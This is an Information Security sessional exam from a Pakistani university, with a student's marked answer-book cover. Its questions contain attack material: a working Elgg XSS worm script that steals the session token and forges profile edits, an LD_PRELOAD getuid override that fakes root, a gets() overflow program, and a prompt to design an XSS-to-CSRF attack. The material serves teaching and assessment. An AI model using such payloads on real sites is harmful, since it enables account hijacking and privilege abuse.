National University of Computer and Emerging Sciences

Chiniot-Faisalabad Campus

Information Security (CS 3002)

Sessional-I Exam

Date: Sep 21st 2024

Course Instructors

Dr. Umar, Ms. Sumaira, Ms. Juhainah

Total Time (Hrs.):	**1**
Total Marks:	**31**
Total Questions:	**4**

21F-9631
Roll No

BCS-7A
Section

Student Signature

Do not write below this line

ATTEMPT ALL THE QUESTIONS IN THE SAME SEQUENCE THEY ARE.

CLO # 3: Web Security and the possible vulnerabilities with their mitigation.

Q1: **[10 Marks]**

A. Explain the concept of a self-propagating XSS worm. Discuss any two methods used to make malicious code self-replicating. [5 marks]

B. Examine the following XSS code snippet. What is the role of the timestamp (ts) and token in an XSS attack? Why is the POST method used in the code? [5 marks]

```
<script type= "text/javascript ">
        window. onload = function(){
                var guid = "&guid=" + elgg .session . user . guid;
                var ts = "&_elgg_ts=" + elgg . security. token ._elgg_ts ;
                var token = "&_elgg_token=" + elgg . security . token ._elgg_token ;
                var name = "&name= " + elgg.session . user . name ;
                var desc = "&description = Samy is my hero " + "&accesslevel[description]=2 ";
                // Construct the content of your url .
                var sendurl = " http://www.xsslabelgg. com/action/profile/edit ";
                var content= token+ ts+ name+ desc + guid;
                if (elgg . session . user . guid != 47) {
                        //Create and send Ajax request to modify profile
                        var Ajax=null ;
                        Ajax= new XMLHttpRequest() ;
                        Ajax . open (" POST ", sendurl , true) ;
                        Ajax . setRequestHeader ( "Content-Type", "application/x-www-form-
urlencoded");
                        Ajax . send(content) ;
                }
        }
</script>
```

National University of Computer and Emerging Sciences
Chiniot-Faisalabad Campus

CLO # 2: Identify architecture level vulnerabilities

Q2: You are tasked with investigating how the environment variables can influence the behavior of dynamically linked programs by overriding system functions.
Consider the following scenario: [5 Marks]

You have created a shared library **libfakegetuid.so,** which overrides the **getuid()** system function from the standard C library. The code for this custom implementation is as follows:

```
//getuid.c program
#include <stdio.h>
#include <unistd.h>

uid_t getuid(void) {

   printf("Pretending to be   root!\n");
   return 0;   //Always returns root user ID (0)
}
```

```
// check_uid.c program
#include <stdio.h>
#include <unistd.h>
int main(){

   printf("Real UID: %d\n", getuid());
   return 0;
}
```

Based on this setup, answer the following questions:

A. Given the compiled library for your fake `getuid` program, write the command to set the appropriate environment variable. [2 Marks]
B. After setting the environment variable, you compile and run the `check_uid.c` program in the same directory. Describe the purpose of the environment variable set in part 1. How does this variable alter the behavior of `check_uid` when it is executed? [3 Marks]

CLO # 2 : Identify architecture level vulnerabilities

Q3: Consider the following C code (single program written in two columns) and answer the below given questions. [6 Marks]

```
#include <stdio.h>
#include <string.h>
void malicious_code() {
   printf("Malicious code executed!\n");
}
void vulnerable_function() {
  char givenPassword[20];
```

```
char realPassword[20] = "securepassword";
   gets(givenPassword);  }
int main(){
   vulnerable_function();
   return 0;
}
```

A. Design the initial stack layout for the main function when the program is executed. Label the positions of each component on the stack (including any stack frame pointers if relevant) to get full reward. [3 Marks]
B. Craft an input that will cause the program to experience a **segmentation fault**.
Explain why the segmentation fault occurs by describing how the crafted input impacts the stack layout. [3 Marks]

National University of Computer and Emerging Sciences
Chiniot-Faisalabad Campus

CLO # 3: Understanding the Web Security and the possible vulnerabilities with their mitigation.

Q4: NUCES has created a programming platform called FCAP.com and a social network called DAIRA.com. FCAP.com is vulnerable to Cross-Site Scripting (XSS) attacks, but it has countermeasures against CSRF. On the other hand, DAIRA.com is vulnerable to CSRF but has countermeasures against XSS.

Any student can design a programming question and share it on FCAP.com. Other students can view the question, solve it, and compare their solution with the provided solution. Similarly, students can use DAIRA.com to add other students or alumni as friends or mentors.

Sam and Bob have accounts on both platforms. Sam has a friend named Alice. Bob wants to attack Sam's profile so that he can remove Alice from his friend list. As a starting point, Bob sends a forged friend removal link to Sam. However, Sam is efficient at identifying social engineering attacks.

Bob is a good programmer and is famous for his programming abilities. He regularly designs questions and shares them on FCAP.com. Sam is a big fan of Bob due to his programming abilities and frequently visits his page on FCAP.com to practice his skills. Somehow, Bob comes to know this fact.

DAIRA.com sends an HTTP GET request for friend removal with an ID as a parameter. For example, http://DAIRA.com/remove.php?id=20 will remove the user with ID 20 from the current user's account. Sam has a profile ID of 21, Alice has 22, and Bob has 23.

Your task is to design an attack that Bob can use to target Sam's profile without performing a social engineering attack. You can suggest multiple solutions [10 marks]

FCAP → XSS ✓
↘ CSRF X

DAIRA → XSS X
↘ CSRF ✓

S → A
B → S

National University
of Computer & Emerging Sciences

Serial No. 224778

Please Tick (✓) Campus: CFD [✓] ISB [ ] KHI [ ] LHR [ ] PWR [ ] Semester: SP [ ] SU [ ] FA [✓] 20 24

SESSIONAL EXAM ANSWER BOOK

Course Code & Title: Information Security CS3002

Roll No: 21F-9631 Section: BCS-7A Student's Signature: [signature] Date: 21/9/24

Serial No. of continuation sheet if attached: _____ Total No. of Extra Sheets Used: _____ Invigilator's Signature: [signature]

(THIS ANSWER BOOK CONTAINS PAGE 1-8)

DO NOT OPEN THE ANSWER BOOKLET OR START UNTIL INSTRUCTED

Instructions:

1. Please ensure that the area in your threshold is free of any material classified as 'useful in the paper' or else there may a charge of cheating.
2. Read the question carefully to ensure clarity of context and understanding of meaning. Make assumptions whatever necessary, as neither the invigilator nor the teacher/examinar will address your queries or provide assistance in the examination hall.
3. Fit in all your answers in the answer booklet. You may use an extra sheet if required. If you do so, clearly mark question/part number on that page to avoid confusion.
4. Use only your own stationery and calculator. (If permitted by your teacher/examiner). If you do not have your own calculator, perform manual calculations.
5. Use only permanent ink pens. Only the questions attempted with permanent ink pen will be considered. Any part of paper done in lead pencil cannot be claimed for rechecking.
6. Ensure that you do not have any electronic gadget (like mobile phone, smart watch, ear buds etc.) with you.
7. Return your Question Paper along with the answer booklet (including extra sheets, if used) to the invigilator before leaving the exam venue.

Q./Part No.	Q-1	Q-2	Q-3	Q-4	Q-5	Q-6	Q-7	Q-8	Q-9	Q-10
Total Marks	10	05	06	10						
Obtained Marks	08	0.25	0.25	07						
CLO NO.	03	02	02	03						

Total Marks
Total Marks Obtained

_____ Examiner/Course Teacher

_____ Date